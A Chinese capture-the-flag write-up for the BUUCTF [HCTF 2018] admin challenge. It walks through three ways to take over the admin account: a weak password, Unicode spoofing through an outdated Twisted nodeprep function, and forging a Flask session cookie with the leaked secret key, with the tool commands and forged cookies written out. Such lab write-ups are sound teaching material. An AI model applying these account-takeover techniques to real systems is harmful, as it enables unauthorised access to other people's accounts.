BUUCTF:[HCTF 2018]admin

题目地址:https://buuoj.cn/challenges#[HCTF%202018]admin

在这里插入图片描述

第一种解法:弱密码

在这里插入图片描述
根据提示,尝试弱密码登录admin用户,当admin的密码为123时,登陆成功

在这里插入图片描述

第二种解法:Unicode欺骗
随便注册个用户mochu7,在Change Password
在这里插入图片描述
给出来题目源码,/hctf_flask/app/rotus.py

在这里插入图片描述
在这里插入图片描述

registerlogin对用户名使用了自定义函数strlower()

在这里插入图片描述
nodeprep.prepare()来自

from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep

requirements.txt中可以看到Twisted的版本

在这里插入图片描述
Twisted版本为10.2.0,而目前(2020/10/28)Twisted最新版本已有20.3.0,这里使用的版本非常旧
10.2.0版的nodeprep.prepare()对一些特殊的Unicode编码处理后会得到一个正常的字符
使用以下网站寻找admin账户的特殊Unicode编码
https://unicode-table.com/en/search/?q=Modifier+Letter+Capital

ᴬᴰᴹᴵᴺ

Unicode编码后

\u1d2c\u1d30\u1d39\u1d35\u1d3a

两次nodeprep.prepare()处理后得到admin字符

在这里插入图片描述
即可注册一个账户ᴬᴰᴹᴵᴺ,注册时nodeprep.prepare()处理一遍得到ADMIN,然后修改密码时nodeprep.prepare()会进行第二次处理,得到admin即可修改admin账户密码

第三种解法:Flask session 伪造

众所周知,flasksession是存放在客户端的cookie当中的,并且没有加密操作,仅仅只是做了签名防止篡改

在这里插入图片描述
Flask-Session加解密脚本:https://github.com/noraj/flask-session-cookie-manager

用户mochu7session

{
    
    '_fresh': True, '_id': b'cbf743351a54bf3ded8ca2343c8479d60da235568a066582dc7814a5864c10618d87e3a13f7d37e6464470248ebd3233603c6d5e3597d2cf2c04b073d4518c53', 'csrf_token': b'7584ce1b2f1bd3155835e20862bc752607b31c7b', 'image': b'LqRX', 'name': 'mochu7', 'user_id': '10'}
PS D:\Tools\Web\flask-session-cookie-manager> python .\flask_session_cookie_manager3.py decode -s 'ckj123' -c '.eJw9kMGKwkAQRH9l6bOHZOKyEPAQGM0a6A66o2HmIm6MTjqJQlQ0I_77Di54rup61fWAzb6vzhbiS3-tRrCpdxA_4OMXYtAi68gtHLrVXatVoDvtTLpu8pQsMgYocEyy_DRS30w6HbwvJLYWpRakDoNJMcrlNPC3Y-Ilo0oEKtvkcteimN5R6MhIjIzSAfEiIJcMJG2rO89kdMSJ88SGipUj1XhvxoYzRrmsUZbOyEXo85gUTuA5gvLc7zeXU1Md3y-Q8-iUWizmg-FZ7XF38nXQrVvkxNfKau3KEFnfSMwdFhjpw-QVV3fbQ_VOUt-znyL5V47bzgvQnUp7_YIRXM9V_xoOwgCef1nZbOI.X5k9pg.ErECKkJ7jz7qU_-NGQSWFDgTq98'
{
    
    '_fresh': True, '_id': b'cbf743351a54bf3ded8ca2343c8479d60da235568a066582dc7814a5864c10618d87e3a13f7d37e6464470248ebd3233603c6d5e3597d2cf2c04b073d4518c53', 'csrf_token': b'7584ce1b2f1bd3155835e20862bc752607b31c7b', 'image': b'LqRX', 'name': 'mochu7', 'user_id': '10'}

伪造session还需要知道secret key,全局搜索源码文件夹即可找到

在这里插入图片描述
secret keyckj123

修改nameadmin

{
    
    '_fresh': True, '_id': b'cbf743351a54bf3ded8ca2343c8479d60da235568a066582dc7814a5864c10618d87e3a13f7d37e6464470248ebd3233603c6d5e3597d2cf2c04b073d4518c53', 'csrf_token': b'7584ce1b2f1bd3155835e20862bc752607b31c7b', 'image': b'LqRX', 'name': 'admin', 'user_id': '10'}

进行加密得到adminsession

PS D:\Tools\Web\flask-session-cookie-manager> python .\flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'cbf743351a54bf3ded8ca2343c8479d60da235568a066582dc7814a5864c10618d87e3a13f7d37e6464470248ebd3233603c6d5e3597d2cf2c04b073d4518c53', 'csrf_token': b'7584ce1b2f1bd3155835e20862bc752607b31c7b', 'image': b'LqRX', 'name': 'admin', 'user_id': '10'}"
.eJw9kMGKwkAQRH9l6bOHZOJeBA-B0ayBbtEdDTOX4MZo0klciIqmxX_fwQXPVV2vuh6QH_ryXMHk0l_LEeT1HiYP-PiBCViVdiQrQdncrdkEtrPikm2zTKhCxgAVjkkXn07bm0tmg_eFxFWF2ioyx8ElGC31LPC3Y-I1o4kVmqpZ6n2LanZHZSOnMXLGBsSrgCQeSFet7TyTUYhj8cSGso2Qabw3Zccpo17XqAtxehX6PCaDU3iOoDj3h_zy25Sn9wskHp1Qi9licDyvPe5Ovg7KtkWOfa20tlKEyPZGaiGYYWSP01dc3e2O5TvJfM2_s_hfOe06L8Bu39UnGMH1XPav3SAM4PkH7IhsmA.X5k-3w.1NeZXj_XVt-fu-MQxsTtdPuBZws

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/mochu7777777/article/details/109302175